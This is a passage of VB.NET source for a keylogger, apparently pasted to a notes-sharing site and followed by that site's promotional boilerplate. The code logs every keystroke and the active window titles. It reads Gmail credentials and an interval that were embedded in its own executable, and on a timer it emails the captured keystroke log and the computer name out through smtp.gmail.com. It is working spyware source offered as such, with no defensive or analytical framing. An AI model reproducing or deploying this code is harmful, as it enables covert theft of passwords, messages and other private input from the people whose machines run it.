TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"

End If
Dim text As New TextBox
TextBox1.Text = TextBox1.Text.Replace("", "")
End If
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
text3 = Space(LOF(1))
text4 = Space(LOF(1))
interval = Space(LOF(1))
'Lojistik Allstar
FileGet(1, text1) 'options(1) - Gmail Adresi
FileGet(1, text2) 'options(2) - Gmail Şifresi
FileGet(1, text3) 'options(3) - SMTP
FileGet(1, text4) 'options(4) - Port
FileGet(1, interval) 'options(5) - Log Süresi
FileClose(1)
options = Split(text1, FileSplit)
'Lojistik Allstar
TextBox2.Text = options(1)
TextBox3.Text = options(2)
TextBox4.Text = Convert.ToInt32(options(5))
Timer1.Interval = TextBox4.Text
End Sub
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
Try
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
smtpServer.Port = 587
smtpServer.Host = ("smtp.gmail.com")
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(TextBox2.Text)
mail.To.Add(TextBox2.Text)
mail.Subject = My.Computer.Name & ":"
mail.Body = "Keylogger Log - Lojistik Allstar: " & My.Computer.Name & vbNewLine & "==========================================================" & vbNewLine & "==========================================================" & vbNewLine & TextBox1.Text & vbNewLine & "=========================================================="
smtpServer.Send(mail)
Catch ex As Exception
TextBox1.Clear()
End Try
End Sub
Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
strin = GetActiveWindowTitle()
End If
End Sub
End Class

Notes is a web-based application for online taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000+ notes created and continuing...

With notes.io;

* You can take a note from anywhere and any device with internet connection.
* You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
* You can quickly share your contents without website, blog and e-mail.
* You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
* Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 14 years and has been free since the day it was started.

You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;

Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio

Regards;
Notes.io Team

Notes

Notes - notes.io

Shortened Note Link

Long File

Notes